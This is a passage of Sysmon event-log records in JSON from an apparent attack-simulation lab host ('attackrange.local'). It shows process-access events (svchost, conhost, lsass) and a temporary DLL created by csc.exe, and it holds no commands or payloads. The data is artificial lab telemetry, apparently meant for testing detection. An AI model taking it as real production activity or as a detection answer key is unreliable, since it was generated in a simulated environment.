ategory":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-0010AC240800}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-0010AC240800}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:30.712\r\nProcessGuid: {90617006-416E-5F2D-0000-001015210800}\r\nProcessId: 4644\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgzl53od.dll\r\nCreationUtcTime: 2020-08-07 11:56:30.603","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:30.712","ProcessGuid":"{90617006-416E-5F2D-0000-001015210800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgzl53od.dll","CreationUtcTime":"2020-08-07 11:56:30.603","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 